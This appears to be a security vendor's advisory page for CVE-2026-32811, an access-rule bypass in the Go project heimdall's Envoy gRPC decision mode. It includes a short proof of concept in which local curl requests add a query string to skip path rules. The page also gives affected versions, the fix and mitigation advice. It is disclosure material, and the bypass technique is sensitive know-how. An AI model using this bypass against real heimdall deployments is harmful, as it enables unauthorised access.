CVE-2026-32811 is a high-severity (CVSS 8.2) CWE-116 vulnerability in github.com/dadrus/heimdall. A fix is available for github.com/dadrus/heimdall — see the affected versions and patch details below.
Heimdall: Path received via Envoy gRPC corrupted when containing query string
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32811.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-32811 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/dadrus/heimdallReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
When using heimdall in envoy gRPC decision API mode, wrong encoding of the query URL string allows rules with non-wildcard path expressions to be bypassed.
The HTTP based decision API is NOT affected, and proxy mode is NOT affected either.
Note: The issue can only lead to unintended access if heimdall is configured with an "allow all" default rule. Since v0.16.0, heimdall enforces secure defaults and refuses to start with such a configuration unless this enforcement is explicitly disabled, e.g. via --insecure-skip-secure-default-rule-enforcement or the broader --insecure flag.
Details
Envoy splits the requested URL into parts, and sends the parts individually to heimdall. Although query and path are present in the API, the query field is documented to be always empty and the URL query is included in the path field [1].
The implementation uses go's url library to reconstruct the url which automatically encodes special characters in the path.
As a consequence, a parameter like /mypath?foo=bar to Path is escaped into /mypath%3Ffoo=bar. Subsequently, a rule matching /mypath no longer matches and is bypassed.
PoC
Using the example docker compose setup, the demo:public rule is bypassed when adding a query parameter.
docker compose -f docker-compose-envoy-grpc.yaml -f docker-compose.yaml up
curl http://127.0.0.1:9090/public
Hostname: 80201fead1c7
IP: 127.0.0.1
IP: ::1
IP: 172.23.0.3
RemoteAddr: 172.23.0.5:37056
GET /public HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: curl/8.19.0
Accept: */*
X-Envoy-Expected-Rq-Timeout-Ms: 15000
X-Forwarded-Proto: http
X-Request-Id: 0a1f0f06-75ef-4f14-92af-16162ea1d9e5
curl -v http://127.0.0.1:9090/public?bypass
* Trying 127.0.0.1:9090...
* Established connection to 127.0.0.1 (127.0.0.1 port 9090) from 127.0.0.1 port 47876
* using HTTP/1.x
> GET /public?hallo HTTP/1.1
> Host: 127.0.0.1:9090
> User-Agent: curl/8.19.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 401 Unauthorized
< date: Sat, 14 Mar 2026 16:34:17 GMT
< server: envoy
< content-length: 0
<
* Connection #0 to host 127.0.0.1:9090 left intact
When using the HTTP decision API variant, the second request is matched by the rule as well:
docker compose -f docker-compose-envoy-http.yaml -f docker-compose.yaml up
curl http://127.0.0.1:9090/public?bypass
Hostname: 80201fead1c7
IP: 127.0.0.1
IP: ::1
IP: 172.23.0.4
RemoteAddr: 172.23.0.2:38044
GET /public?hallo HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: curl/8.19.0
Accept: */*
X-Envoy-Expected-Rq-Timeout-Ms: 15000
X-Forwarded-Proto: http
X-Request-Id: 5c961bc6-ad03-4a44-982b-abe04566fdd2
Impact
Everyone using heimdall with the envoy gRPC API may be affected. Users who configured a deny list in heimdall (with an allow-all default rule) are affected, as attackers can potentially circumvent a specific block rule by adding query parameters.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/dadrus/heimdall | ≥ 0.7.0-alpha&&< 0.17.11 | 0.17.11go get github.com/dadrus/heimdall@v0.17.11 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/dadrus/heimdall, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/dadrus/heimdall to 0.17.11 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-32811 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-32811 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-32811. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-32811 in your dependencies?
O3 Security finds CVE-2026-32811 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.